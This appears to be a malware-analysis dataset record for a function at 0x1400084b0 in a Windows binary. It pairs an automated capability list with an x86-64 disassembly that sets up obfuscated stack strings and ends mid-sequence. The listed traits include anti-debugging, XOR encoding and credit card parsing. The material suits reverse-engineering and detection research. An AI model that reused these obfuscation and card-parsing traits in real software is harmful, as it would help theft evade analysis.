Function at 0x1400084b0
Capabilities:
Accept command line arguments
Authenticate hmac
Check for software breakpoints
Clear file content
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Enumerate files on windows
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get geographical location
Get session user name
Identify system language via api
Manipulate console buffer
Move file
Parse credit card information
Parse pe header
Query environment variable
Read file on windows
Resume thread
Set console window title
Set current directory
Set environment variable
Set file attributes
Set thread local storage value
Terminate process
Terminate thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1ff38
call fcn.14017c370
sub rsp, rax
mov dword [rsp + 0x3320], 0x5e32c009
mov dword [rsp + 0x3324], 0x74177200
mov byte [rsp + 0x50], 0x50
mov dword [rsp + 0x3328], 0x1c3401f4
mov eax, 0xfde
mov word [rsp + 0xa2c], ax
mov dword [rsp + 0x332c], 0x1baf5ff3
mov dword [rsp + 0x3330], 0x59b3a825
mov byte [rsp + 0x51], 0x3b
mov eax, 0x125b
mov word [rsp + 0xa30], ax
mov eax, 0xfa
mov word [rsp + 0xa34], ax
mov dword [rsp + 0x3334], 0x6977350e
mov dword [rsp + 0x3338], 0x59051a6c
mov byte [rsp + 0x52], 0xaf
mov eax, 0x779
mov word [rsp + 0xa38], ax
mov byte [rsp + 0x53], 0xd1
mov byte [rsp + 0x54], 0xd2
mov eax, 0x503
mov word [rsp + 0xa3c], ax
mov byte [rsp + 0x55], 0xde
mov eax, 0xa56
mov word [rsp + 0xa40], ax
mov dword [rsp + 0x333c], 0x48c33fcf
mov dword [rsp + 0x3340], 0xf2bd66e7
mov dword [rsp + 0x3344], 0x6069ff88
mov byte [rsp + 0x56], 4
mov dword [rsp + 0x3348], 0xee1eae14
mov byte [rsp + 0x57], 0x2c
mov dword [rsp + 0x334c], 0xb8e503e5
mov eax, 0xab0
mov word [rsp + 0xa44], ax
mov byte [rsp + 0x58], 0xec
mov eax, 0x1970
mov word [rsp + 0xa48], ax
mov byte [rsp + 0x59], 0xbe
mov dword [rsp + 0x3350], 0x70184864
mov dword [rsp + 0x3354], 0x4848e1f3
mov dword [rsp + 0x3358], 0x1ea20a9b
mov byte [rsp + 0x5a], 0x2b
mov dword [rsp + 0x335c], 0x9014b896
mov byte [rsp + 0x5b], 0x60
mov dword [rsp + 0x3360], 0x649b95bb
mov dword [rsp + 0x3364], 0x7104419c
mov byte [rsp + 0x5c], 8
mov eax, 0xbb3
mov word [rsp + 0xa4c], ax
mov byte [rsp + 0x5d], 0x36
mov dword [rsp + 0x3368], 0xc8c44a4
mov eax, 0x658
mov word [rsp + 0xa50], ax
mov dword [rsp + 0x336c], 0x79ecfd04
mov eax, 0x341
mov word [rsp + 0xa54], ax
mov dword [rsp + 0x3370], 0x14fc601c
mov eax, 0x3e4e
mov word [rsp + 0xa58], ax
mov dword [rsp + 0x3374], 0x365669d2
mov dword [rsp + 0x3378], 0x1f0798f7
mov byte [rsp + 0x5e], 0x78
mov dword [rsp + 0x337c], 0x5d7fc236
mov eax, 0x1c3d
mov word [rsp + 0xa5c], ax
mov eax, 0x419b
mov word [rsp + 0xa60], ax
mov dword [rsp + 0x3380], 0x2b6a8e4
mov dword [rsp + 0x3384], 0x31a9273d
mov byte [rsp + 0x5f], 0xdb
mov dword [rsp + 0x3388], 0x4ca219ab
mov byte [rsp + 0x60], 0xcf
mov byte [rsp + 0x61], 0x3d
mov dword [rsp + 0x338c], 0x2c4c1443
mov dword [rsp + 0x3390], 0x2631d629
mov dword [rsp + 0x3394], 0x46f6b899
mov dword [rsp + 0x3398], 0x405aff37
mov eax, 0x375
mov word [rsp + 0xa64], ax
mov dword [rsp + 0x339c], 0x5ea712f2
mov byte [rsp + 0x62], 0x6e
mov dword [rsp + 0x33a0], 0x27d44c7f
mov dword [rsp + 0x33a4], 0x16f02ac5
mov dword [rsp + 0x33a8], 0x1ce497ab
mov eax, 0xd17
mov word [rsp + 0xa68], ax
mov byte [rsp + 0x63], 0x3b
mov dword [rsp + 0x33ac], 0x14f4a76f
mov dword [rsp + 0x33b0], 0xaba3f074
mov eax, 0x51c
mov word [rsp + 0xa6c], ax
mov eax, 0xca7
mov word [rsp + 0xa70], ax
mov byte [rsp + 0x64], 0x44
mov byte [rsp + 0x65], 4
mov dword [rsp + 0x33b4], 0x5ca4cac7
mov eax, 0xf79
mov word [rsp + 0xa74], ax
mov eax, 0x2f9
mov word [rsp + 0xa78], ax
mov byte [rsp + 0x66], 0xf0
mov dword [rsp + 0x33b8], 0xf5f0ce43
mov dword [rsp + 0x33bc], 0x790cf9f
mov eax, 0xf59
mov word [rsp + 0xa7c], ax
mov dword [rsp + 0x33c0], 0x7d145fa7
mov eax, 0x42a
mov word [rsp + 0xa80], ax
mov dword [rsp + 0x33c4], 0x2831ffa9
mov eax, 0x952
mov word [rsp + 0xa84], ax
mov byte [rsp + 0x67], 0x74
mov byte [rsp + 0x68], 0x34
mov eax, 0xcd2
mov word [rsp + 0xa88], ax
mov dword [rsp + 0x33c8], 0xb37f2bc9
mov dword [rsp + 0x33cc], 0x6cb0778
mov dword [rsp + 0x33d0], 0xa67fbac9
mov eax, 0xb29
mov word [rsp + 0xa8c], ax
mov dword [rsp + 0x33d4], 0x4f812f57
mov dword [rsp + 0x33d8], 0x46f96dfa
mov eax, 0x65c
mov word [rsp + 0xa90], ax
mov eax, 0x1545
mov word [rsp + 0xa94], ax
mov byte [rsp + 0x69], 0x39
mov eax, 0x924
mov word [rsp + 0xa98], ax
mov eax, 0x5c17
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x33dc], 0xa6b85fb
mov dword [rsp + 0x33e0], 0xdd7969ac
mov eax, 0x319
mov word [rsp + 0xaa0], ax
mov eax, 0x789
mov word [rsp + 0xaa4], ax
mov dword [rsp + 0x33e4], 0x6039c633
mov byte [rsp + 0x6a], 0xf2
mov dword [rsp + 0x33e8], 0x468f6444
mov dword [rsp + 0x33ec], 0xac098d6
mov dword [rsp + 0x33f0], 0x81c1ec19
mov byte [rsp + 0x6b], 0x1a
mov dword [rsp + 0x33f4], 0x82f6add6
mov dword [rsp + 0x33f8], 0x6b4cd54d
mov dword [rsp + 0x33fc], 0x12d455dc
mov eax, 0x8ba
mov word [rsp + 0xaa8], ax
mov eax, 0x260e
mov word [rsp + 0xaac], ax
mov dword [rsp + 0x3400], 0x3294877
mov dword [rsp + 0x3404], 0xcba06aa3
mov byte [rsp + 0x6c], 0x2f
mov dword [rsp + 0x3408], 0x489c3834
mov dword [rsp + 0x340c], 0x23a114ab
mov dword [rsp + 0x3410], 0x7d697867
mov eax, 0x581
mov word [rsp + 0xab0], ax
mov dword [rsp + 0x3414], 0x58df14b8
mov eax, 0x54da
mov word [rsp + 0xab4], ax
mov dword [rsp + 0x3418], 0x1d896e30
mov dword [rsp + 0x341c], 0x3fcfb5d4
mov dword [rsp + 0x3420], 0x424d360c
mov dword [rsp + 0x3424], 0xb4ad519
mov dword [rsp + 0x3428], 0x9dd102e
mov dword [rsp + 0x342c], 0x1503a4f4
mov dword [rsp + 0x3430], 0x1210d015
mov dword [rsp + 0x3434], 0x22e662c5
mov dword [rsp + 0x3438], 0x59135dd1
mov dword [rsp + 0x343c], 0x1cee1a89
mov dword [rsp + 0x3440], 0x32f23463
mov dword [rsp + 0x3444], 0x1b505552
mov dword [rsp + 0x3448], 0xcc192a5c
mov eax, 0xd01
mov word [rsp + 0xab8], ax
mov byte [rsp + 0x6d], 0x75
mov dword [rsp + 0x344c], 0x2509e489
mov dword [rsp + 0x3450], 0x5a25e7f0
mov eax, 0xaf9
mov word [rsp + 0xabc], ax
mov dword [rsp + 0x3454], 0x1dcbda5e
mov dword [rsp + 0x3458], 0x12f6859c
mov dword [rsp + 0x345c], 0x7bc96e01
mov dword [rsp + 0x3460], 0x15ae26b0
mov dword [rsp + 0x3464], 0x1693d702
mov dword [rsp + 0x3468], 0x5ce60942
mov eax, 0x3a4f
mov word [rsp + 0xac0], ax
mov byte [rsp + 0x6e], 0xe9
mov dword [rsp + 0x346c], 0xc9d7bde3
mov dword [rsp + 0x3470], 0x3e26142b
mov dword [rsp + 0x3474], 0x12004cf
mov byte [rsp + 0x6f], 0xd0
mov byte [rsp + 0x70], 0x55
mov dword [rsp + 0x3478], 0xabcaf8b7
mov dword [rsp + 0x347c], 0x182a1ed8
mov dword [rsp + 0x3480], 0x2b393054
mov dword [rsp + 0x3484], 0x1c6a1b2b
mov dword [rsp + 0x3488], 0x5ed34498
mov dword [rsp + 0x348c], 0x7d319482
mov dword [rsp + 0x3490], 0x2eafbf5e
mov dword [rsp + 0x3494], 0x4b01be57
mov dword [rsp + 0x3498], 0x7aeeaea0
mov dword [rsp + 0x349c], 0x3c2a906d
mov dword [rsp + 0x34a0], 0x5f3186e9
mov dword [rsp + 0x34a4], 0x9096bbda
mov dword [rsp + 0x34a8], 0x2884bc37
mov dword [rsp + 0x34ac], 0xc2829c17
mov byte [rsp + 0x71], 0x6f
mov dword [rsp + 0x34b0], 0xc9cd6e1
mov dword [rsp + 0x34b4], 0x28ca909e
mov dword [rsp + 0x34b8], 0x39bb096e
mov eax, 0xf51
mov word [rsp + 0xac4], ax
mov dword [rsp + 0x34bc], 0x73e48b9e
mov dword [rsp + 0x34c0], 0xc4c36f0
mov dword [rsp + 0x34c4], 0x5b0398e8
mov dword [rsp + 0x34c8], 0xbd2ab77c
mov dword [rsp + 0x34cc], 0x50a27a6a
mov dword [rsp + 0x34d0], 0x66011555
mov dword [rsp + 0x34d4], 0x28630521
mov dword [rsp + 0x34d8], 0x73db2627
mov byte [rsp + 0x72], 0x54
mov byte [rsp + 0x73], 0x91
mov eax, 0x77b4
mov word [rsp + 0xac8], ax
mov byte [rsp + 0x74], 0x75
mov byte [rsp + 0x75], 0x75
mov byte [rsp + 0x76], 0xaa
mov eax, 0x4e4e
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x34dc], 0x5bec2656
mov dword [rsp + 0x34e0], 0x64b13f63
mov eax, 0x14cb
mov word [rsp + 0xad0], ax
mov dword [rsp + 0x34e4], 0xf4c5233
mov byte [rsp + 0x77], 0xe9
mov eax, 0x3cbd
mov word [rsp + 0xad4], ax
mov dword [rsp + 0x34e8], 0x10107653
mov byte [rsp + 0x78], 0x6d
mov byte [rsp + 0x79], pe_nt_image_headers64
mov dword [rsp + 0x34ec], 0x8362c852
mov dword [rsp + 0x34f0], 0x2ac4bd6b
mov dword [rsp + 0x34f4], 0x662cea84
mov dword [rsp + 0x34f8], 0x309df55c
mov byte [rsp + 0x7a], 0x44
mov dword [rsp + 0x34fc], 0x9840e8e8
mov dword [rsp + 0x3500], 0x7ae13e49
mov eax, 0x1ea
mov word [rsp + 0xad8], ax
mov byte [rsp + 0x7b], 0x53
mov dword [rsp + 0x3504], 0xa19aee82
mov eax, 0x2d3
mov word [rsp + 0xadc], ax
mov byte [rsp + 0x7c], 0xf4
mov eax, 0x668
mov word [rsp + 0xae0], ax
mov dword [rsp + 0x3508], 0x684b0e6f
mov dword [rsp + 0x350c], 0xd425750b
mov dword [rsp + 0x3510], 0x10ad8e63
mov byte [rsp + 0x7d], 0x24
mov dword [rsp + 0x3514], 0x6842dec8
mov eax, 0x3d
mov word [rsp + 0xae4], ax
mov dword [rsp + 0x3518], 0xafd2530
mov eax, 0xb56
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x351c], 0xd6ef48cf
mov dword [rsp + 0x3520], 0x24570876
mov eax, 0x1e5
mov word [rsp + 0xaec], ax
mov eax, 0xcb9
mov word [rsp + 0xaf0], ax
mov eax, 0x29a
mov word [rsp + 0xaf4], ax
mov dword [rsp + 0x3524], 0x7e6ccff2
mov dword [rsp + 0x3528], 0xb8a75a4f
mov dword [rsp + 0x352c], 0x31d30e8a
mov dword [rsp + 0x3530], 0x75164a89
mov dword [rsp + 0x3534], 0xcae973bc
mov dword [rsp + 0x3538], 0x7c58c38
mov dword [rsp + 0x353c], 0x2701e7eb
mov byte [rsp + 0x7e], 0x68
mov byte [rsp + 0x7f], 0xec
mov dword [rsp + 0x3540], 0x2453148f
mov dword [rsp + 0x3544], 0xf07852d9
mov dword [rsp + 0x3548], 0x4b9edc7f
mov eax, 0x9ba
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x354c], 0x4367f2a4
mov eax, 0x7c36
mov word [rsp + 0xafc], ax
mov eax, 0x12d8
mov word [rsp + 0xb00], ax
mov dword [rsp + 0x3550], 0x33e5ff22
mov eax, 0x685
mov word [rsp + 0xb04], ax
mov dword [rsp + 0x3554], 0x743494f2
mov dword [rsp + 0x3558], 0xcb7ffcc4
mov dword [rsp + 0x355c], 0xbab914dd
mov dword [rsp + 0x3560], 0x7f5ca647
mov eax, 0x392
mov word [rsp + 0xb08], ax
mov byte [rsp + 0x80], 0x18
mov dword [rsp + 0x3564], 0x1f56f35e
mov dword [rsp + 0x3568], 0xd9c92e
mov byte [rsp + 0x81], 0x1b
mov dword [rsp + 0x356c], 0x3637e5c5
mov dword [rsp + 0x3570], 0x636772f3
mov dword [rsp + 0x3574], 0x449afcff
mov dword [rsp + 0x3578], 0x6b95b760
mov dword [rsp + 0x357c], 0x61610dc9
mov dword [rsp + 0x3580], 0xe54a1de
mov dword [rsp + 0x3584], 0x1e3979e6
mov dword [rsp + 0x3588], 0x3b6afb40
mov dword [rsp + 0x358c], 0x2718cda1
mov dword [rsp + 0x3590], 0x4ef939be
mov dword [rsp + 0x3594], 0x35437eb3
mov byte [rsp + 0x82], 0x6f
mov dword [rsp + 0x3598], 0xfe74fd60
mov dword [rsp + 0x359c], 0x5adf14a5
mov dword [rsp + 0x35a0], 0x1d4188a2
xor eax, eax
mov word [rsp + 0xb0c], ax
mov dword [rsp + 0x35a4], 0xc925642b
mov dword [rsp + 0x35a8], 0x126b5632
mov dword [rsp + 0x35ac], 0xb750653f
mov eax, 0x5c
mov word [rsp + 0xb10], ax
mov eax, 0x6c20
mov word [rsp + 0xb14], ax
mov dword [rsp + 0x35b0], 0x3be64701
mov byte [rsp + 0x83], 0x68
mov byte [rsp + 0x84], 0x3e
mov dword [rsp + 0x35b4], 0xaede4850
mov dword [rsp + 0x35b8], 0x544115fc
mov byte [rsp + 0x85], 0x4c
mov dword [rsp + 0x35bc], 0x65cfccca
mov dword [rsp + 0x35c0], 0xb30123b4
mov byte [rsp + 0x86], 7
mov byte [rsp + 0x87], 0xcb
mov eax, 0xc15
mov word [rsp + 0xb18], ax
mov eax, 0xa1e
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x35c4], 0xb6e3d40b
mov eax, 0x356
mov word [rsp + 0xb20], ax
mov dword [rsp + 0x35c8], 0x2b71f97a
mov dword [rsp + 0x35cc], 0xbd98c644
mov dword [rsp + 0x35d0], 0x824365f6
mov dword [rsp + 0x35d4], 0x716765e
mov dword [rsp + 0x35d8], 0x6856281a
mov dword [rsp + 0x35dc], 0x6a89846f
mov dword [rsp + 0x35e0], 0x124ba375
mov dword [rsp + 0x35e4], 0x8ecd680b
mov eax, 0xdbe
mov word [rsp + 0xb24], ax
mov dword [rsp + 0x35e8], 0x1d9177f2
mov dword [rsp + 0x35ec], 0xb9b1275d
mov eax, 0xfa3
mov word [rsp + 0xb28], ax
mov dword [rsp + 0x35f0], 0x434553f6
mov dword [rsp + 0x35f4], 0x3a0cdb71
mov dword [rsp + 0x35f8], 0x7c08b85f
mov byte [rsp + 0x88], 0x50
mov dword [rsp + 0x35fc], 0x137caf7d
mov byte [rsp + 0x89], 0xa3
mov dword [rsp + 0x3600], 0x2160451e
mov byte [rsp + 0x8a], 1
mov dword [rsp + 0x3604], 0x703a54a1
mov byte [rsp + 0x8b], 0xaf
mov dword [rsp + 0x3608], 0xc8df6981
mov dword [rsp + 0x360c], 0x2a1bd984
mov dword [rsp + 0x3610], 0x7e6f7ce2
mov dword [rsp + 0x3614], 0x13e82979
mov eax, 0x6dc
mov word [rsp + 0xb2c], ax
mov eax, 0x381
mov word [rsp + 0xb30], ax
mov byte [rsp + 0x8c], 0x33
mov dword [rsp + 0x3618], 0x565e7221
mov dword [rsp + 0x361c], 0xe890f01d
mov dword [rsp + 0x3620], 0x79bb113d
mov dword [rsp + 0x3624], 0x4b9fda64
mov byte [rsp + 0x8d], 0x2b
mov dword [rsp + 0x3628], 0x1f505c7b
mov dword [rsp + 0x362c], 0x16313d81
mov dword [rsp + 0x3630], 0x4c2fda60
mov dword [rsp + 0x3634], 0x1fa66055
mov eax, 0x668
mov word [rsp + 0xb34], ax
mov eax, 0xb69
mov word [rsp + 0xb38], ax
mov byte [rsp + 0x8e], 5
mov dword [rsp + 0x3638], 0x67e9785c
mov dword [rsp + 0x363c], 0x3c9005ea
mov dword [rsp + 0x3640], 0x28851b43
mov byte [rsp + 0x8f], 0x31
mov eax, 0xefa
mov word [rsp + 0xb3c], ax
mov dword [rsp + 0x3644], 0x5aa37ab2
mov dword [rsp + 0x3648], 0x4e73b109
mov dword [rsp + 0x364c], 0x14d54832
mov byte [rsp + 0x90], 0x97
mov dword [rsp + 0x3650], 0x20bcf255
mov dword [rsp + 0x3654], 0x13d52ce4
mov dword [rsp + 0x3658], 0xd04ff6c7
mov dword [rsp + 0x365c], 0x6bfba6ed
mov byte [rsp + 0x91], 0x79
mov eax, 0x4406
mov word [rsp + 0xb40], ax
mov dword [rsp + 0x3660], 0x47c3976d
mov dword [rsp + 0x3664], 0xd6a970f6
mov byte [rsp + 0x92], 0x53
mov dword [rsp + 0x3668], 0x70d24865
mov dword [rsp + 0x366c], 0x58b62d68
mov dword [rsp + 0x3670], 0x6276c0c
mov dword [rsp + 0x3674], 0x14d79ff8
mov dword [rsp + 0x3678], 0x8f05d3e
mov dword [rsp + 0x367c], 0x59987dbb
mov dword [rsp + 0x3680], 0x6bf08aef
mov byte [rsp + 0x93], 0x94
mov eax, 0xaa4
mov word [rsp + 0xb44], ax
mov byte [rsp + 0x94], 0x7a
mov eax, 0xd44
mov word [rsp + 0xb48], ax
mov dword [rsp + 0x3684], 0x32db738e
mov eax, 0x68c
mov word [rsp + 0xb4c], ax
mov byte [rsp + 0x95], 0xaa
mov eax, 0x6880
mov word [rsp + 0xb50], ax
mov eax, 0x8ea
mov word [rsp + 0xb54], ax
mov dword [rsp + 0x3688], 0x595c8103
mov byte [rsp + 0x96], 0x5f
mov dword [rsp + 0x368c], 0x736eee0e
mov eax, 0xed4
mov word [rsp + 0xb58], ax
mov dword [rsp + 0x3690], 0x790d56f6
mov byte [rsp + 0x97], 0xb8
mov dword [rsp + 0x3694], 0x38aa8201
mov byte [rsp + 0x98], 7
mov byte [rsp + 0x99], 0x87
mov dword [rsp + 0x3698], 0x26e71ad5
mov dword [rsp + 0x369c], 0x488f13bd
mov byte [rsp + 0x9a], 0xe9
mov dword [rsp + 0x36a0], 0x7b072480
mov byte [rsp + 0x9b], 0xab
mov dword [rsp + 0x36a4], 0x174f8f96
mov eax, 0x5910
mov word [rsp + 0xb5c], ax
mov dword [rsp + 0x36a8], 0x27cdc8e3
mov dword [rsp + 0x36ac], 0x320ca14d
mov eax, 0x4e
mov word [rsp + 0xb60], ax
mov dword [rsp + 0x36b0], 0x8521e1a8
mov byte [rsp + 0x9c], 0x83
mov byte [rsp + 0x9d], 0x67
mov dword [rsp + 0x36b4], 0x280b79d0
mov dword [rsp + 0x36b8], 0x210be9a7
mov byte [rsp + 0x9e], 0xd8
mov eax, 0x5a6
mov word [rsp + 0xb64], ax
mov eax, 0x3b8
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x36bc], 0xec2bcb8
mov dword [rsp + 0x36c0], 0x11ece54f
mov eax, 0x45e
mov word [rsp + 0xb6c], ax
mov byte [rsp + 0x9f], 4
mov dword [rsp + 0x36c4], 0x2dac3160
mov byte [rsp + 0xa0], 0xf2
mov dword [rsp + 0x36c8], 0x6870165
mov dword [rsp + 0x36cc], 0x519686a
mov eax, 0x1439
mov word [rsp + 0xb70], ax
mov dword [rsp + 0x36d0], 0x8828625
mov dword [rsp + 0x36d4], 0x310c51a0
mov byte [rsp + 0xa1], 0x77
mov byte [rsp + 0xa2], 0x87
mov dword [rsp + 0x36d8], 0x501584c6
mov dword [rsp + 0x36dc], 0x1cc51d9f
mov byte [rsp + 0xa3], 0x36
mov byte [rsp + 0xa4], 0xe8
mov eax, 0x53f2
mov word [rsp + 0xb74], ax
mov dword [rsp + 0x36e0], 0xbd6e0dd2
mov dword [rsp + 0x36e4], 0x7acd0796
mov byte [rsp + 0xa5], 0x20
mov dword [rsp + 0x36e8], 0x1942b1d2
mov dword [rsp + 0x36ec], 0x80627329
mov dword [rsp + 0x36f0], 0x6cb8719c
mov dword [rsp + 0x36f4], 0x492c1462
mov dword [rsp + 0x36f8], 0x7a757950
mov byte [rsp + 0xa6], 0x6a
mov dword [rsp + 0x36fc], 0x7f50458c
mov byte [rsp + 0xa7], 0xb6
mov dword [rsp + 0x3700], 0x78dac8a2
mov dword [rsp + 0x3704], 0x973ecbc
mov dword [rsp + 0x3708], 0x2add4f49
mov byte [rsp + 0xa8], 0x24
mov dword [rsp + 0x370c], 0x1a32b43
mov eax, 0x9f3
mov word [rsp + 0xb78], ax
mov byte [rsp + 0xa9], 0x75
mov eax, 0x679
mov word [rsp + 0xb7c], ax
mov byte [rsp + 0xaa], 0xd9
mov dword [rsp + 0x3710], 0x622fcdff
mov eax, 0xe5a
mov word [rsp + 0xb80], ax
mov eax, 0x3434
mov word [rsp + 0xb84], ax
mov dword [rsp + 0x3714], 0x2e0fd490
mov dword [rsp + 0x3718], 0x4b2259b3
mov dword [rsp + 0x371c], 0x7e44fe30
mov dword [rsp + 0x3720], 0x2ddeaf11
mov dword [rsp + 0x3724], 0x7c69146b
mov dword [rsp + 0x3728], 0x777bd0f7
mov eax, 0x46e
mov word [rsp + 0xb88], ax
mov dword [rsp + 0x372c], 0xf4a9b43d
mov dword [rsp + 0x3730], 0x782fa90
mov dword [rsp + 0x3734], 0x4b39dbe8
mov dword [rsp + 0x3738], 0x43ee164b
mov eax, 0x5bf
mov word [rsp + 0xb8c], ax
mov dword [rsp + 0x373c], 0x5b97343d
mov dword [rsp + 0x3740], 0xdb3dc1e1
mov eax, 0x4db
mov word [rsp + 0xb90], ax
mov byte [rsp + 0xab], 0x98
mov dword [rsp + 0x3744], 0x3a9e8581
mov eax, 0xdc9
mov word [rsp + 0xb94], ax
mov dword [rsp + 0x3748], 0xa608dcc9
mov eax, 0x2c7
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x374c], 0xc11a839
mov byte [rsp + 0xac], 0x1b
mov dword [rsp + 0x3750], 0x4b34be3
mov eax, 0x795
mov word [rsp + 0xb9c], ax
mov eax, 0xa7b
mov word [rsp + 0xba0], ax
mov dword [rsp + 0x3754], 0x6c5783e5
mov dword [rsp + 0x3758], 0x7f4e427d
mov byte [rsp + 0xad], 0xc
mov dword [rsp + 0x375c], 0x9ce919f1
mov eax, 0x362b
mov word [rsp + 0xba4], ax
mov dword [rsp + 0x3760], 0x5f74bfbd
mov byte [rsp + 0xae], 0xd
mov dword [rsp + 0x3764], 0x533fbec4
mov dword [rsp + 0x3768], 0xae09591
mov dword [rsp + 0x376c], 0x5cf0f670
mov byte [rsp + 0xaf], 0x18
mov byte [rsp + 0xb0], 0xc
mov dword [rsp + 0x3770], 0x6dd4e9e9
mov dword [rsp + 0x3774], 0x636b1de9
mov dword [rsp + 0x3778], 0x3a69f5f8
mov dword [rsp + 0x377c], 0x5f96e923
mov dword [rsp + 0x3780], 0x2bb0a864
mov dword [rsp + 0x3784], 0x4bd9cab8
mov dword [rsp + 0x3788], 0x681b672d
mov dword [rsp + 0x378c], 0x685d1e5e
mov byte [rsp + 0xb1], pe_nt_image_headers64
mov dword [rsp + 0x3790], 0xefc14eb
mov dword [rsp + 0x3794], 0x630c7e24
mov eax, 0x200
mov word [rsp + 0xba8], ax
mov eax, 0xded
mov word [rsp + 0xbac], ax
mov eax, 0xd14
mov word [rsp + 0xbb0], ax
mov eax, 0xb2b
mov word [rsp + 0xbb4], ax
mov dword [rsp + 0x3798], 0xa22247d
mov byte [rsp + 0xb2], 0x51
mov dword [rsp + 0x379c], 0x18b97f89
mov dword [rsp + 0x37a0], 0x3e91f055
mov dword [rsp + 0x37a4], 0x7980a5c2
mov dword [rsp + 0x37a8], 0xba641b73
mov dword [rsp + 0x37ac], 0x7d47e1e
mov dword [rsp + 0x37b0], 0x9a6db547
mov dword [rsp + 0x37b4], 0x42f6955d
mov eax, 0xbc0
mov word [rsp + 0xbb8], ax
mov dword [rsp + 0x37b8], 0x7ea9e1b5
mov eax, 0x6ef
mov word [rsp + 0xbbc], ax
mov dword [rsp + 0x37bc], 0x7273570d
mov dword [rsp + 0x37c0], 0x76092508
mov dword [rsp + 0x37c4], 0x7d3ed8b2
mov eax, 0x892
mov word [rsp + 0xbc0], ax
mov dword [rsp + 0x37c8], 0x58408bb5
mov eax, 0x73
mov word [rsp + 0xbc4], ax
mov eax, 0x15c
mov word [rsp + 0xbc8], ax
mov dword [rsp + 0x37cc], 0xe5fcc1e
mov eax, 0x2d1
mov word [rsp + 0xbcc], ax
mov dword [rsp + 0x37d0], 0x4ae35815
mov byte [rsp + 0xb3], 0x79
mov dword [rsp + 0x37d4], 0xd078f963
mov dword [rsp + 0x37d8], 0x8f142ce6
mov dword [rsp + 0x37dc], 0x1341c10f
mov dword [rsp + 0x37e0], 0x721834f7
mov byte [rsp + 0xb4], 0xa4
mov byte [rsp + 0xb5], 0x86
mov dword [rsp + 0x37e4], 0x9b94862
mov byte [rsp + 0xb6], 0x15
mov dword [rsp + 0x37e8], 0x323448e3
mov dword [rsp + 0x37ec], 0x1b143583
mov dword [rsp + 0x37f0], 0x2bc43afe
mov dword [rsp + 0x37f4], 0x257a6a28
mov dword [rsp + 0x37f8], 0x7cb7413b
mov dword [rsp + 0x37fc], 0x9dcee0e5
mov eax, 0x521e
mov word [rsp + 0xbd0], ax
mov dword [rsp + 0x3800], 0x43ebbb6d
mov dword [rsp + 0x3804], 0x4d89f4b
mov dword [rsp + 0x3808], 0x519e8a93
mov dword [rsp + 0x380c], 0x2ffa3670
mov dword [rsp + 0x3810], 0xb494110
mov dword [rsp + 0x3814], 0x80d2005b
mov eax, 0x55fb
mov word [rsp + 0xbd4], ax
mov eax, 0x74ca
mov word [rsp + 0xbd8], ax
mov byte [rsp + 0xb7], 0x7a
mov dword [rsp + 0x3818], 0x7b4f2c1
mov dword [rsp + 0x381c], 0xf30bc78
mov dword [rsp + 0x3820], 0x1b078aec
mov dword [rsp + 0x3824], 0x4d713808
mov dword [rsp + 0x3828], 0x202079c7
mov eax, 0xcc3
mov word [rsp + 0xbdc], ax
mov eax, 0x7e66
mov word [rsp + 0xbe0], ax
mov dword [rsp + 0x382c], 0x686fbac8
mov byte [rsp + 0xb8], 0xab
mov byte [rsp + 0xb9], 0xb4
mov dword [rsp + 0x3830], 0x218a693f
mov dword [rsp + 0x3834], 0x7e829909
mov dword [rsp + 0x3838], 0x25f37fa5
mov eax, 0x25d
mov word [rsp + 0xbe4], ax
mov dword [rsp + 0x383c], 0x82451850
mov dword [rsp + 0x3840], 0x30dd01e4
mov dword [rsp + 0x3844], 0x23199012
mov byte [rsp + 0xba], 0x5e
mov eax, 0xf27
mov word [rsp + 0xbe8], ax
mov eax, 0xe62
mov word [rsp + 0xbec], ax
mov byte [rsp + 0xbb], 0x61
mov eax, 0x36c
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x3848], 0x6761aae
mov dword [rsp + 0x384c], 0x632bb5e4
mov dword [rsp + 0x3850], 0x16ec96cb
mov dword [rsp + 0x3854], 0x4c55b963
mov dword [rsp + 0x3858], 0x716d12f1
mov byte [rsp + 0xbc], 0xb4
mov dword [rsp + 0x385c], 0x1cc9fd8d
mov dword [rsp + 0x3860], 0xe2f780d
mov dword [rsp + 0x3864], 0xa7011ece
mov dword [rsp + 0x3868], 0x73ea16c6
mov byte [rsp + 0xbd], 0x64
mov dword [rsp + 0x386c], 0x116f4941
mov dword [rsp + 0x3870], 0xc145886f
mov eax, 0x902
mov word [rsp + 0xbf4], ax
mov eax, 0xd39
mov word [rsp + 0xbf8], ax
mov dword [rsp + 0x3874], 0xee0b28a2
mov byte [rsp + 0xbe], 0xc3
mov byte [rsp + 0xbf], 0x57
mov dword [rsp + 0x3878], 0x51cc06c4
mov dword [rsp + 0x387c], 0xb511197
mov eax, 0x36a
mov word [rsp + 0xbfc], ax
mov dword [rsp + 0x3880], 0x9a8c349
mov dword [rsp + 0x3884], 0x28be3dc8
mov byte [rsp + 0xc0], 0xe7
mov dword [rsp + 0x3888], 0x4821baf6
mov dword [rsp + 0x388c], 0x37d5bd3c
mov dword [rsp + 0x3890], 0x65db385
mov eax, 0xa98
mov word [rsp + 0xc00], ax
mov dword [rsp + 0x3894], 0x3618a5e6
mov byte [rsp + 0xc1], 0x26
mov eax, 0x9e6
mov word [rsp + 0xc04], ax
mov byte [rsp + 0xc2], 0x3e
mov eax, 0x322
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x3898], 0x70e33d9d
mov byte [rsp + 0xc3], 0x66
mov byte [rsp + 0xc4], 0xa1
mov dword [rsp + 0x389c], 0x233cf997
mov byte [rsp + 0xc5], 0x8f
mov byte [rsp + 0xc6], 0x7d
mov dword [rsp + 0x38a0], 0x6591b8d5
mov byte [rsp + 0xc7], 0x16
mov eax, 0xed8
mov word [rsp + 0xc0c], ax
mov dword [rsp + 0x38a4], 0x1c792d13
mov eax, 0xeda
mov word [rsp + 0xc10], ax
mov dword [rsp + 0x38a8], 0x71819e45
